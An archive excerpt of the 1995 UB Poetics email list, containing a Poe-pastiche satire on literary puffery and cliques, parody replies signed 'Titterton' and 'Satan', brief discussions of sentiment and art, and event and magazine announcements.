We repeat it:--_it_ is the truth which he and his committee have spoken, and who shall contradict us? They have said unscrupulously what every reasonable person among as has long known to be "as true as the Pentateuch"--that, as a poetic people, we are one vast perambulating humbug. They have asserted that we are _clique_-ridden, and who does not smile at the obvious truism of that assertion? They maintain that chicanery is, with us, a far surer road than talent to distinction in letters. Who gainsays this? The corrupt nature of our ordinary criticism has become notorious. Its powers have been prostrated by our own arm. The collusion between government and publisher, publisher and critic, critic and poet, poet and academy, academy and government, constitutes at once the most unbreakable ring of corruption, and the most vicious circle of ideological contamination, yet to become manifest in our letters. But to keep our comments focused on a single link in this chain: the intercourse between publisher and critic, as it now almost universally stands, is comprised either in the paying and pocketing of black mail, as the

price of a simple forbearance, or in a direct system of petty and contemptible bribery, properly so called--a system even more injurious than the former to the true interests of the public, and more degrading to the buyers and sellers of good opinion, on account of the more positive character of the service here rendered for the consideration received. We laugh at the idea of any denial of our assertions upon this topic; they are infamously true. In the charge of general corruption there are undoubtedly many noble exceptions to be made. There are, indeed, some very few magazine editors, who, maintaining an entire independence, will receive no books from publishers at all, or who receive them with perfect understanding, on the part of these latter, that an unbiased _critique_ will be given. There are even some editors who refuse backing from the Federal government (or any other granting agency) as well. But these cases are insufficient to have much effect on the popular mistrust: a mistrust heightened by late exposure of the machinations of _coteries_ in New York, San Francisco, and now all cyberspace--_coteries_ which, at the bidding of leading small press publishers, manufacture, as required from time to time, a pseudo-public opinion by wholesale, for the benefit of any little hanger on of the party, or well- "Fed" protector of the firm...

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588. Stephen Galen Cope

DIU (continued)

Mon 29 May 1995

...We speak of these things in the bitterness of scorn. It is unnecessary to cite instances, where one is found in almost every issue of a book. It is needless to call to mind the desperate case of Sherry--a case where the pertinacity of the effort to gull--where the obviousness of the attempt at forestalling a judgment--where the woefully over-done be_roof_ment of that man-of-straw, together with the pitiable platitude of his production, proved a dose somewhat too potent for even the well-prepared stomach of the mob. We say it is supererogatory to dwell upon _Our Nuclear Heritage_, or other by- gone follies, when we have, before our eyes, hourly instances of the machinations in question. To so great an extent of methodical assurance has the _system_ of puffery arrived, that publishers, of late, especially author-publishers, have made no scruple of keeping on hand an assortment of commendatory notices, prepared by their men of all work, and of sending these notices around to the multitudinous potential reviewers within their influence, tucked within the pages of the book. The grossness of these base attempts, however, has not escaped indignant rebuke from the more honorable portions of the community; and we hail these symptoms of restiveness under the yoke of unprincipled ignorance and

quackery (strong only in combination) as the harbinger of a better era for the interests of real merit, and of American poetry as a whole.

It has become, indeed, the plain duty of each individual connected with our poetry, heartily to give whatever influence he or she possesses, to the good cause of integrity and the truth. The results thus attainable will be found worthy his or her closest attention and best efforts. We shall thus frown down all conspiracies to foist inanity upon the public consideration at the obvious expense of every person of talent who is not a member of a _clique_ in power. We may even arrive, in time, at that desirable point from which a distinct view of our persons of letters may be obtained, and their respective pretensions adjusted, by the standard of a rigorous and self- sustaining criticism alone. That their several positions are as yet properly settled; that the positions which a vast number of them now hold are now maintained by any better tenure than that of the chicanery upon which we have commented, will be asserted by none but the ignorant, or the parties who have the best right to feel an interest in "the way things are." No two matters can be more radically different than the reputation of some of our _litterateurs_, as gathered from the mouths of the people, (who glean it from the paragraphs of magazines, and the screens of cyberspace,) and the same reputation as deduced from the private estimate of intelligent and educated persons. We do not advance this fact as a new discovery. Its truth, on the contrary, is the subject, and has long been so, of every-day witticism and mirth.

Why not? Surely there can be few things more ridiculous than the general character and assumptions of the ordinary critical notices of new books! An editor, sometimes without the shadow of the commonest attainment---often without brains, always without time--does not scruple to give the world to understand that he or she is in the _daily_ habit of critically reading and deciding upon a flood of publications one tenth of whose title-pages he or she may possibly have turned over, three-fourths of whose contents would be Hebrew to his or her most desperate efforts at comprehension, and whose entire mass and amount, as might be mathematically demonstrated, would be sufficient to occupy, in the most cursory perusal, the attention of some ten or twenty readers for a month! What he or she wants in plausibility, however, is made up in obsequiousness; what he or she lacks in time is supplied in temper. Such an editor is the most easily pleased person in the world. He or she admires everything, from the fat anthology of Douglas Messerli to the thinnest chapbook of Jessica Grim. Indeed, such editor's sole difficulty is in finding tongue to express his or her delight. Every saddle-stitched pamphlet is a miracle--every perfect-bound book is an epoch in letters. The editors' phrases, therefore, get bigger and bigger every day, and if it were not for talking trash, we might very well accuse these persons of "doing the nasty."

Yet in the attempt at getting definite information in regard to any one portion of our poetic literature the merely general reader, or the foreigner, will turn in vain from print journals to cyberspace. It is not our intention here to dwell upon the radical and over-hyped hyper-textual rigmarole of the 'Net. Whatever virtues the 'Net may hold, they are ill-suited to the propagation or discussion of _poetry_, save in the satiric mode advanced by the AHP. And the demand that the AHP unmask itself rings especially hollow, resounding in the vacuous and unindividuated depths of cyberspace. Alas, the poetic discourse found on the 'Net is _virtually_ anonymous. Who writes?--who causes to be written? A volley of names cris-crossing the world, with no more character than one expects of bums--drunks who seek out odd-jobs to earn the price of a bottle--_this_, we say, is the class of person who subscribes to our poetics lists. And who but a missionary could put up with such company? Who but an ass will put faith in tirades which _may_ be the result of unwanted abstinence, or in panegyrics which nine times out of ten may be laid, directly or indirectly, to the charge of intoxication?

It is in the favor of these saturnine pockets of electricity that they are charged, now and again, with a good comment _de omnibus rebus et quibusdam aliis_, which may be looked into, without decided somnolent consequence, at any period not immediately subsequent to dinner. But it is useless to expect literary criticism from a "List" or "Newsgroup," however useful these may be as sources of information regarding tawdrier realities. As all readers know, or should know, these venues are sadly given to naught but verbiage. It is a part of their nature, a condition of their being, a point of their faith. A veteran subscriber loves the safety of generalities, and is therefore rarely particular. "Words, words, words" are the secret of his or her strength. He or she has one or two original notions, and is both wary and fussy of giving them out. Such a person's wit lies with his or her truth, in a well, and there is always a world of trouble in getting it up. Such person is a sworn enemy to all things simple and direct. He or she gives no ear to the advice of the runner--"_Put your toe to the starting line_," but either jumps at once into the middle of the pack, or breaks in through the ribbon at the finish, or sidles up to the race with the gait of a crab. No other mode of approach has sufficient profundity. When fairly into it, however, such a _runner_ becomes dazzled with the scintillations of his or her own wisdom, and is seldom able to see a way out. Tired of laughing at these antics, or frightened by the spectacle, we shut off the argument altogether, with the computer. "What song the Syrens sang," says Sir Thomas Browne, "or what name Achilles assumed when he hid himself among women, though puzzling questions, are not beyond _all_ conjecture"--but it would puzzle Sir Thomas, backed by Achilles and all the Syrens of Heathendom, to say, in nine cases out of ten, _what is the object_ of a thorough-going Poetis List posting.

Should the opinions quacked by our poetic geese at large, supplemented now and then by the bubblings of fish caught in the 'Net, should such opinions be taken, in their wonderful aggregate, as an evidence of what American poetry absolutely is, (and it may be said that, in general, they are really so taken,) we shall find ourselves the most enviable set of people upon the face of the earth. Our fine writers are legion. Our very atmosphere is redolent of genius; and we, the nation, are a huge, well-contented chameleon, grown pursy by inhaling it. We are _teretes et rotundi_--enwrapped in excellence. All our poets are Bards, good as Whitman and not yet gray; all our poetesses are "latter day Dickinsons;" nor will it do to deny that all our youthful enthusiasts are wise and talented moderns, of the Known and Unknown variety, and that every body who takes pen in hand to attack the canon, our Republic of Letters, is as great as Caesar, or at least great Caesar's ghost. We are thus in a glorious condition, and will remain so until forced to disgorge our ethereal honors. In truth, there is some danger that the jealousy of the rest of the world will interfere. It cannot long submit to that outrageous monopoly of all that is worth seeking "from the other side of the century," which the gentlemen and ladies of the scene betray such undoubted assurance of possessing.

But we feel angry with ourselves for the jesting tone of our observations upon this topic. The prevalence of the spirit of puffery is a subject far less for merriment than for disgust. Its truckling, yet dogmatical character--its bold, unsustained, yet self-sufficient and wholesale laudation--is becoming, more and more, an insult to the common sense of the community. Trivial as it essentially is, it has yet been made the instrument of the grossest abuse in the elevation of imbecility, to the manifest injury, to the utter ruin, of true merit. Is there any man or woman of good feeling and of ordinary understanding--is there one single individual among all our readers--who does not feel a thrill of bitter indignation, apart from any sentiment of mirth, as he or she calls to mind instance after instance of the purest, of the most unadulterated quackery in letters, which has risen to a high post in the apparent popular estimation, and which still maintains it, by the sole means of a blustering arrogance, or of a busy wriggling conceit, or of the most barefaced plagiarism, or even through the simple immensity of its fawning--fawning not only unopposed by the community at large, but absolutely supported in proportion to the vociferous clamor with which it is made--in exact accordance with its utter baselessness and untenability? We should have no trouble in pointing out, today, some twenty or thirty so-called literary personages, who, if not idiots, as we half think them, or if not hardened to all sense of shame by a long course of disingenuousness, will now blush, in the perusal of these words, through conspicuousness of the shadowy nature of that purchased pedestal upon which they stand--will now tremble in thinking of the feebleness of the breath which

will be adequate to the blowing it from beneath their feet. With the help of a hearty good will, even _we_ may yet tumble them down...

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589. **Stephen Galen Cope**

DIU (continued)

Mon 29 May 1995

...So firm, through a long endurance, has been the hold taken upon the popular mind (at least so far as we may consider the popular mind reflected in ephemeral letters) by the laudatory system which we have deprecated, that what is, in its own essence, a vice, has become endowed with the appearance, and met with the reception of a virtue. So continuously have we puffed, that we have at length come to think puffing the duty, and plain speaking the dereliction. What we began in gross error, we persist in through habit. Having adopted, in the earlier days of our literature, the untenable idea that this literature, as a whole, could be advanced by an indiscriminate approbation bestowed on its every effort--having adopted this idea, we say, without attention to the obvious fact that praise of all was bitter although negative censure to the few alone deserving, and that the only result of the system, in the fostering way, would be the fostering of folly--we now continue our vile practices through the supineness of custom, even while, in our national self-conceit, we repudiate that necessity for patronage and protection in which originated our conduct. In a word, the community of poets has not been ashamed to make a head against the very few bold attempts at independence which have, from time to time, been made in the face of the reigning order of things. And if, in one, or perhaps two, insulated cases, the spirit of severe truth, sustained by an unconquerable will, was not to be so put down, then, forthwith, were private chicaneries set in motion; then was had resort, on the part of those who considered themselves injured by the severity of criticism, (and who were so, if the just contempt of every ingenuous man and woman is injury,) resort to arts of the most virulent indignity, to untraceable slanders, to ruthless assassinations in the dark. We say these things were done, while the community in general looked on, and, with a full understanding of the wrong perpetrated, spoke not against the wrong. The idea has absolutely gone abroad--had grown up little by little into toleration--that attacks however just, upon a literary reputation however obtained, however untenable, were well retaliated by the basest and most unfounded traduction of personal fame. But is this an age--is this a day--in which it can be necessary to advert to such considerations as that the words of authors are the property of the public, and that the publication of these words is the throwing down the gauntlet to the reviewer--to the reviewer whose duty is the plainest; the duty not even of approbation, or of censure, or of silence, at

his or her own will, but at the sway of those sentiments and of those opinions which are derived from the authors themselves, through the medium of their written and published work? True criticism is the reflection of the thing criticized upon the spirit of the critic.

But _a nos moutons_--to the "AHP." This satire has many faults besides those upon which we have commented. The title, for example, is not sufficiently distinctive, although otherwise good. It does not confine the attack to an _English- language_ hegemony, while the work does. Also, the individual portions of the satire are strung together too much at random--a natural sequence is not always preserved--so that although the lights of the picture are often forcible, the whole has what, in artistical parlance, is termed an accidental and spotty appearance. In truth, the parts of the satire have evidently been composed each by each, as separate themes, and afterwords fitted into the general project, in the best manner possible.

But a more reprehensible sin than any or than all of these is yet to be mentioned--the sin of indiscriminate censure. Even here Mr. Funkhouser and friends have erred through unthinking appropriation. They have held in view the sweeping denunciations of the news media, and of the juvenile spewings of the Internet. No one in his or her senses can deny the justice of the general charges of corruption in regard to which we have just spoken from the text of our authors. But are there _no_ exceptions? We should indeed blush if there were not. And is there _no_ hope? Time will show. We cannot do everything in a day--_We've only just begun_, as Karen Carpenter tells us, _to live_. Again, it cannot be gainsaid that the greater number of those who hold high places in our poetical literature are absolute nincompoops--fellows and ladies alike innocent of reason and of rhyme. But neither are we _all_ brainless, nor is Yakub himself so white as he is painted. The AHP must read a little in Jabes' _Book of Margins_--for there is yet _some_ difference between "_carte blanche and white page_." It will not do in a civilized land to run a-muck like a Zapatista. Mr. Evans and Miss Moxley _have_ done some good in the world. Mr. Watten isn't _all_ killer instinct. Mr. Silliman isn't _quite_ an ass. Mr. Mandel and Mr. Sherry _will_ babble inanely, but perhaps they cannot help it, (for we have heard of such other things,) and then it must not be denied that _at an uncertain hour, / That agony return: / And till the ghastly tale is told, / The heart within them burns_.

The fact is that our authors, in the rank exuberance of their zeal, seemed to think as little of discrimination as Jimmy Swaggart did of the Bible. Poetical "things in general" are the windmills at which they spurred their rozinante. They as often tilted at what was true as at what was false; and thus their lines were like funhouse mirrors, which represent the fairest images as deformed. But the talent, the fearlessness, and especially the _design_ of the project, will

suffice to save it from that dreadful damnation of "silent contempt" to which readers throughout the country, if we are not very much mistaken, will endeavor, one and all, to consign it.

-Edgar Allen Poe

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590. **maria damon**
Re: Actually actual?
Mon 29 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> "Nothing is real. Everything is permitted."
>
>
> (quote from the leader of the assassins, can't recall his name
> at the moment)

hassan i sabba,
>
> Jonathan Brannen

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591. **John Geraets**
Re: art's after
Tue 30 May 1995

Dear Jake, Carl, Wystan

Thanks for the comments.

Maybe like you're suggesting Wystan, I too feel the double cut of quality frees us from the labour of definition (judgement). Quality here suggests poetry is that which constantly is wishing to abnegate itself. I guess, then, poetry doesn't even like itself. It's what wants to rid itself of itself.

Now I'm really confused.

John
[redacted]

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592. **Gary Sullivan**

AUNTIE HEGEMONY & UNCLE POE

Tue 30 May 1995

Hey, kids: This chapter rec'd from one W.R. Titterton (or a biographer who goes by that name) w/ the request that I forward it here, and that it be re-forwarded to members of the AHP for fact-checking, and then on to the critic Edgar Allan Poe for a final proof. It's rather lengthy, but the author claims to have suffered greatly through it, & now asks the same of you. AUNTIE HEGEMONY & UNCLE POE by W.R. Titterton [This is the first _portrait_ of the great Auntie Hegemony and her side-kick, Uncle Poe. The author knew neither personally, but watched them both at work and play.] [In these sentences Auntie and Uncle live again, in all their towering humanity.] This is the portrait of wise children. Matilda "Auntie" Hegemony was none of your Peter Pans who won't grow up and face their responsibilities. She was always aware of her responsibilities, and eager to face them; and she was always a child. In a way, Auntie did not grow at all--except in physical bulk. Writing of poetry world characters, she says that they don't progress, they don't change, they are _there_, as if eternal. If you turned a corner and met Mr. Watten, you would know just what he would look like and very much what he would say. So it was with Auntie. When I opened my e-mail, I was always expecting to see her striding towards me, a winged vision of jovial Victory; the big proud humble face, under the huge soft hat, puckered into a thoughtful smile behind the negligent pince-nez; a cigarillo sprouting from the corner of her mouth; well-crafted satires, entertainments and insults bulging from the pockets under the flapping coat. I hope you know what I mean by a child. I hope that you remember how Our Lord said: "A little child shall lead us." This big little child led me for many months, and she leads me now. I have said that Auntie Hegemony did not change. She did not. She changed her opinions, but not her beliefs. Well, let us say rather that, though she was a grown woman before she said "_Credo in unum Deum_," as a very small child she knew God. Even so, she -- and her companion, the equally God-fearing Edgar "Uncle" Poe -- were creatures of paradox; while their eyes were on Heaven, they plunged their very souls into Hell. Neither Virgil nor Dante accompanied them; they'd read neither thoroughly outside of school, and were, suitably, too embarrassed to seek _practical_ guidance from either on such short notice. Once plunged into Hell, they shrieked and gasped at Simoniacs, Barrators, Hypocrites, Panders and Seducers, spat epithets at the Lustful and Gluttonous, feinted in terror on Level Five at their own Wrathful visages mirrored in Styx just below, but all of this willy nilly, as in _reaction_, or perverse Pleasure, giving no one, themselves included, any True or Complete Picture or Map of the Underworld. And lacking that, they lacked, simply put, The Way Out. Anyhow, it was meat and drink

to me to find a couple who loved discourse, but hated this discourse; who were ready to die for their calling, but not to lie for it, and who were of such blind passion that they cursed the denizens of Hell, forgetting where they had doomed themselves to spend their days and nights. I hadn't this particular "food for thought" since Laura (Riding) Jackson passed through, years ago. While Jackson's meals were comparatively bland, they occasionally nourished; Auntie's spicy noodles passed quickly through the system, the tea that accompanied even quicker; and what Uncle served up on his unannounced Memorial Day Picnic was leftovers, the spinach wilted, the milk soured. And so, as I say, there are Auntie and Uncle's lively jabs in fragments. That at present is all we can see; if they are either still among us, they've made no apparent attempts to strike up conversations or friendships with anyone but each other, though both vocally detest _cliques_. Uncle's final statement to the denizens of Hell was an unusually somber _portrait_ of his own of Auntie Hegemony, casting his companion as America's Only Satirist, compared to whom he finds Twain scribbling, Koch stumbling, and is apparently ignorant of (or presumes irrelevant) the likes of Acker, Ackerman, Ahern, Anderson, Barthelme, Bergman, Berrigan, Black Bart, Bruce, etc., indeed a list thrice twenty-six and then some of merely Recent Practitioners of the Art. But then when one travels in such small cliques, one can imagine one's clever friends to have invented the Wheel. As a matter of convenience, Uncle casts the Other denizens of Hell as having been _completely_ silent upon Auntie's arrival -- save one outburst -- forgetting that comments about specific newsjabs were indeed made, that at least one (should memory serve me) offered "Auntie was actually too kind [to me]." But this was from one (then) recently fallen, and not a terribly important soul at that. Neither does Uncle seem to have spent much contemplation on the _nature_ of Auntie's newsjabs, that they were not _presented_ as opening lines of a possible dialogue, but ends in and of themselves. Uncle seems to forget, again as a matter of convenience (perhaps in a weak effort to establish the newsjabs as vessels of Irrefutable Truth, or to cast Auntie as an Outsider, Other, her white sleeves unsoiled) that numerous posts of the same _content_ (Hegemony, Blind Fashion, and the like), those posted _as dialogue_ and involving _actual people & events_, *were* commented on, some at great length, and with a good many denizens of Hell offering a variety of Opinion, Speculation, Rebuttal and Expansion upon them. That one finds it more rewarding to reply to Persons than to Bumperstickers, Banners, or News Bulletins, should surprise no one. That it surprised Uncle suggests that he, after a short time in Hell, grew as Vain and Uncontemplative as anyone in Dis. "Not everyone gets corrupted," as Muriel Hemingway tells Woody Allen (a Satirist, like his precursor Benchley, unknown or not considered as Important as Auntie to Uncle), but we are all of us human, and have occasion to lapse. But, now I come near to the time when I must bid good-bye to my

Auntie and my Uncle. I, who am a dry-eyed man, feel my eyes fill with tears for the first time in fifteen years. Auntie, Uncle, I have done this little _portrait_ in a rush white hot. Does it content you? Please God that it does not. As Karen Carpenter once sang ... ah, then, but you do know the words. --W.R. Titterton PS: Edgar, if you're reading this, your statement suggesting that criticism ought to *be* criticism (in the largest sense of that word), you'll find echoed in the summer issue of _Exile_ (a satire and review journal you've probably never seen) in an essay on just that topic by Gerald Burns. Contact Mr. Sullivan by e-mail should you ever care to read it.

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593. **Chris Stroffolino**
Re: milo deangelis
Tue 30 May 1995

Thanks gary for filling me in on the debate--- I think the quote you're referring to is "The Greek theoria signifies "reflection" but also "solemn embassy," "spectacle." And perhaps there can be no great poet who has not had theoretical insights into other great poets...." The way i see it (aside from the adjective "great'--maybe it should be GROOVY--) is very qualified and not prescriptive but an attempt to widen the range of the meaning of the word "theory" to include what perhaps is too derided as "loose talk," and thought "as such." Certainly Auntie Hegemony would be theory then---and not just because of certain overstatements---for instance one (in an article on Mandel that came out last week) that claims just the opposite of DeAngeli--that no true poet should or would (though could) squander his life away on textual exegesis...etc... Thanks, gary, for filling me in. Chris

↑ Index

594. **Edward Foster**
Re: Yo, Ed
Tue 30 May 1995

---

carl, your lynes
are petering out

↑ Index

595. **Edward Foster**
Re: Art, etc.
Tue 30 May 1995

"mind is everywhere"? uh, carl, sounds like _science and health with key to the scriptures_.

↑ Index

596. **Edward Foster**
Re: Art, etc.
Tue 30 May 1995

to pick up, sheila, on homeopathy, not strictly in terms of your exchange but generally in terms of literature; it's rather fascinating and deeply interworked w

↑ Index

597. **Edward Foster**
Re: Art, etc.
Tue 30 May 1995

re: homeopathy as poetics: not writing as editing, avoidance, which is as the academic has it. rather to introduce exactly what poisons. poetry that is essentially editing (i.e., propositional) is poetry that denies transcendence. so we know.

↑ Index

598. **Edward Foster**
Re: Sentiment
Tue 30 May 1995

What do we mean when we call someone's work sentimental? that it refers to that which it does not/cannot contain. i.e., it lies.

↑ Index

599. **Edward Foster**
Re: Art, etc.
Tue 30 May 1995

to pick up, sheila, on homeopathy, not strictly in terms of you exchange but generally in terms of literature; it's rather fascinating and deeply interworked with 19th century aesthetics (cf. hawthorne). ted enslin knows a lot about this.

↑ Index

600. **Jim Pangborn**
Re: Art, etc.
Tue 30 May 1995

Carl: (re: "Simplify! Simplify!")

Thoreau referred specifically to material culture--trains, telegraphs, all the little boxes into which we civilizands stow pieces of our lives--not to his writing, which he viewed as transcendent thereof. You think _Walden_ is simple? Guess again.

I don't believe I distorted your words at all, the way I read them back to you. Of course I knew it wasn't what you *thought* you were saying. You thought to contradict my assertion (not "mine" in the sense of original with me) that art's definition is constitutionally elusive, but instead you illustrated it very well, thank-you.

When you amend yourself to say "it has to have wonder for me . . . else it aint art" I simply couldn't agree more. That was my main point when this started. Wonder as a defining characteristic, however, has no explicit connection to your previous wording, and it is but one defining marker, not, as far as we can tell, a complete or exhaustive definition. And what in the world (or out of it, where so many imagine they can place themselves) leads you to characterize wonder as simple? Have a care, man.

If I might intervene a bit further, I take it that what you "meant" was something more like, "defining art is no problem for me because it's not my job--I can recognize art, make art, and that's enough." And that *is* enough, provided it really isn't your job to try, knowing the historical difficulty, to define it anyway. Ignoring the historical difficulty won't make it go away.

With trepidation, because Silicon Diogenes is abroad in the land, --Jim

↑ Index

601. **Hank Lazer**

Re: art's after

Tue 30 May 1995

John Geraets--

not rid itself [poetry] of itself
but call itself into question
ask that it change
that its own disruption
is part of its joy

Hank Lazer

↑ Index

602. Marisa A Januzzi
Re: where were you born
Tue 30 May 1995

Ed Foster's book *is* amazing and really engrossing, the poems tell intricate stories and ask to be read and reread and rereread (and I'm just at the reread stage, so I can't say anything more articulate right now other than to thank the poet for doing this work on the page). The printed cover is really strinkin; whoever did it must have sacrificed the type to get so deep an impression, and I keep running my fingertips over it and wondering if that's an intended part of the text itself, which seems so much about pressure and touch and weight of past.

which brings me to sentiment: and Alan Sondheim's answer to Jordan: "thrusts backwards with a whisper, that it is a memory of what we once called truth"

It's a marked answer-- the "thrusts/backwards/truth" combo, I mean. Isn't this more like the meaning of "nostalgia"? (And also, doesn't it reinscribe the gender binary which usually comes into play, if only as an initial point of reference, whenever 'nostalgia' is invoked?)

There has to be a way to hold onto 'nostalgia' without being self-indulgent; in fact the nostalgic elements in a writer like...uh, Joyce...are what first made the self-indulgent (as in, high-wire wonderful) parts accessible for me.

But now I have a question-- a former student asked if it were possible for a writer to"write beautifully about absolutely nothing." I told him to try it... all the writers I could think of were writing "about" "nothing" qua something... language, absence, estrangement, silence. Can anyone think of a better response to this kid, I mean, beyond "try it"? "The bride is never bare" [more nostalgia]?!

so
much
de(e)pending

Marisa--

↑ Index

603. Jim Rosenberg
Re: Sentiment
Tue 30 May 1995

Me:
> Jordan Davis:
> > What do we mean when we call someone's work sentimental?

>
> The fear that the work is too much comprised of the emotional substance of a
> single self; the fear the emotional substance of that self is unreliable.

Dodie Bellamy:
> Lots of us are afraid of our emotions, but it's beyond me to think of an
> "emotional substance" that *is* reliable-or to see that as a problem.

The central issue is the singularity of self. We all do what we can to combat this problem; there are as many "solutions" as there are poets. For some it may mean a formal meditation program to transcend the physical limits of the self; for others it may mean process work or precompositional devices; for others using found material, or just plain spending a lot of time listening to found speech -- one could go on endlessly.

While I don't want to speak for Jackson Mac Low, when he told me that he both started and stopped using chance operations because of a concern with sentimentality, I believe he was trying to tell me that in the constant battle against singularity of self there is no free lunch: One cannot presume to have simply solved this problem once and for all time by a single act of invention.

I agree with you, Dodie, emotional substance -- per se -- is not a problem; what is a problem is where you see that emotional substance sticking out like bones from under the skin through gaps in what you had thought were reasonable efforts to work against the singularity of self.

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

↑ Index

604. **Carl Lynden Peters**
Re: Yo, Ed
Tue 30 May 1995

---

ya, back at ya
!

↑ Index

605. **Carl Lynden Peters**
Re: art's after
Tue 30 May 1995

john, hi:

i always thot bp's comments on the death of the poem were profoundly insightful, consistent thruout his writing and a theme which might, on an other level, tell us something abt _guilt_, --something i hope to research further within the context of various on-going projects

take care,
carl

↑ Index

606. **Carl Lynden Peters**
Re: art, etc...
Tue 30 May 1995

hi, jim:

i can't recall for sure but i'm certain i didn't say that you "distorted" my words. i said that you over-simplified them. i can say that without the slightest fear of contradiction.

i think it was yeats who said: guessing is always more fun than knowing. wonder, again. there it is

take care,
carl

↑ Index

607. **Kevin Killian**
Re: Sentiment
Tue 30 May 1995

> *Jim Rosenberg:*
>
> *I agree with you, Dodie, emotional substance -- per se -- is not a problem; what is a problem is where you see that emotional substance sticking out like bones from under the skin through gaps in what you had thought were reasonable efforts to work against the singularity of self.*

I agree with what you're saying about the pitfalls of the singular self, but this violent eruption that you're describing here sounds wonderful to me, Jim.

Lover of the abject,
Dodie Bellamy

↑ Index

608. **Federation Sand**
Cyanosis Publication Party in SF
Tue 30 May 1995

Hi everyone,

Just wanted to pass along an open invitation to the 2nd Cyanosis publication party. It's Friday, June 2nd at The Ghia Gallery 2648 Third St SF CA 95448 [redacted] info: [redacted] (415)

You're all invited. There should be some extremely unusual readings and very unusual dance. $5.50 at the door 7:30 pm till ??

If you're in the area, don't miss it!

Darin

↑ Index

609. **George Bowering**
Re: some Lorca
Tue 30 May 1995

Well, Garcia Lorca (to give him his Spanish surname) was a fan of Whitman, and perhaps a secret toker. Thus "fumes of grass"

↑ Index

610. **George Bowering**
Re: Sentiment
Tue 30 May 1995

Puzzled by Jim Rosenberg's message of May 27 (I have been away for an eye injury), in which he mentioned the work being "comprised of" emotional something. I dont understand trhe usage. How can something be "comprised of" something? Souldnt it be "comprised by" something?

↑ Index

611. **Tony Green**
Re: art's after
Tue 30 May 1995

Quality, John, in Poetry, is its entrance qualification for somebody's version of Literature.

↑ Index

612. **Tony Green**
Re: Actually actual?
Tue 30 May 1995

Maria and Jonathan: Hassan is Abba.

↑ Index

613. **Tony Green**
Re: really Real
Tue 30 May 1995

More smileys please, Steve Carll

↑ Index

614. **Mark Roberts**
AWOL: fourW magazine
Tue 30 May 1995

****
AUSTRALIAN WRITING ONLINE is a small press distribution service and writers' resource service designed to help Australian writers, magazines, journals and publishers to reach a wider audience through the internet. As a first step we will be posting information and subscription details for a number of magazines and publishers to a number of discussion groups and lists. We hope to build up a large emailing list which includes as many libraries as possible. If you know of a list or discussion group which you think might be worthwhile posting to or, if you would like to receive future postings, please contact AWOL directly on [redacted].

AWOL also posts a monthly Happenings list. This is a guide to readings, book launches, conferences and other events relating to Australian literature both within Australia and overseas. If you have any item which you would like included in future listings please contact AWOL on email [redacted] or write to AWOL, PO Box 333, Concord NSW 2137, Australia. AWOL postings are also available by snail mail - please contact us for details.

Please note that [redacted] is a temporary address until we set
up our own address sometime this year
****

"fourW" .

"fourW" is a small literary magazine edited by David Gilbey from the School of Humanities and Social Science, Charles Stuart University, Wagga Wagga. The title apostrophises Wagga Wagga Writers Writers and while there's a particular

desire to publish new work from the Riverina, like all small magazines we consider and publish work from all over Australia (and overseas)

The most recent issue Number 5 contains new work by Dorothy Porter, Kate Llewellyn, Tim Thorne, Ken Bolton, Jeff Guess, Steve Evans, Adrian Caesar and many more - runs to more than 150 pages. We received about 400 submissions and managed to publish about 100. We don't pay (can't - no funding) but aim to produce a fairly classy looking mag. Deadline for this next issue - due out in the Spring - is 30 June.

Usually we like to receive MSS typed, double-spaced etc but you can send it email if you like.

order form cut here
****

"fourW"

"fourW" is available for $9.00 plus postage (email
[redacted] to determine postage)

Name .....

Address .....

Mail this form, together with your payment to

David Gilbey, School of Humanities and Social Sciences, Charles Sturt University, Waggga Wagga NSW, Australia 2678.

Further information is available from [redacted].

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615. FUNKHOUSER CHRISTOPH

satan

Tue 30 May 1995

To the Owner of the Poetics List.

DEAR SIR AND KINSMAN.--Let us have done with this frivolous talk. The Anti-Hegemony Project accepts contributions from me every year: then why shouldn't it from Mr. Poe? In all the ages, three-fourths of the practitioners of the great art of parody have been regular devils, as my archives will show: then what becomes of the sting when that term is applied to the gifted Mr. Poe? The AHP's wares are accumulated mainly from the graveyards. Revisitation of an old crime and deliberate perpetration of a new one; for deceased's contribution is a slander of his heirs. Shall the AHP decline bequests because they stand for these offences every time and generally for both?

Allow me to continue. The charge most persistently and resentfully and remorselessly dwelt upon is, that Mr. Poe's contributions are incurably tainted by bad faith--bad faith proved against him most recently by Mr. W.R. Titterton. _It makes us smile_--down in my place! Because there isn't a writer in cyberspace who doesn't exhibit bad faith in the daily disparity between public and private opinion. They are all caked with bad faith, many layers thick. Iron clad, so to speak. If there is one that isn't, I desire to acquire him for my museum, and will pay Dinosaur rates. Will you say it isn't infraction of ethics, but only a kindly evasion? Comfort yourselves with that nice distinction if you like--_for the present_. But by and by, when you arrive, I will show you something interesting: a whole hell-full of evaders!

To return to my muttons. I wish you to remember that my bad-faith writers are contributing to the Anti-Hegemony Project with frequency: it is writing filched from the sworn-off public honesty; therefore it is the wages of sin; therefore it is my writing; therefore it is _I_ that contribute it; and, finally, it is therefore as I have said: since the AHP daily acccepts contributions from me, why should it decline them from Mr. Poe--or Mr. Twain--who are each as good as I am, let Mr. Titterton say what he will?

SATAN.
May 30, 1995

↑ Index

616. **maria damon**
Re: Sentiment
Tue 30 May 1995

> *what is a problem is where you see that emotional substance sticking out like bones from under the skin through gaps in what you had thought were reasonable efforts to work against the singularity of self.*
>
> --
> *Jim Rosenberg* *http://www.well.com/user/jer/*
> *CIS: 71515,124*
> *WELL: jer*
> *Internet:* [redacted]

aren't bones showing thru under skin quite beautiful horrifyingly un"sentimental"? gaps are where beauty is, not in seamless prettifying... md--it's the "flaws" that make my heart beat.

↑ Index

617. **maria damon**
Re: Actually actual?
Tue 30 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Maria and Jonathan: Hassan is Abba.

imagine: i can't read janine pommy-vega's Poems to Fernando anymore without that dumb abba song cantering thru my head. if everything were abba...i might cross over the line to the high-art crowd--oy!

↑ Index

618. **maria damon**
Re: Sentiment
Tue 30 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> > Jim Rosenberg:
>
> >I agree with you, Dodie, emotional substance -- per se -- is not a problem;
> >what is a problem is where you see that emotional substance sticking out
> like
> >bones from under the skin through gaps in what you had thought were
> reasonable
> >efforts to work against the singularity of self.
>
> I agree with what you're saying about the pitfalls of the singular self,
> but this violent eruption that you're describing here sounds wonderful to
> me, Jim.
>
> Lover of the abject,
> Dodie Bellamy

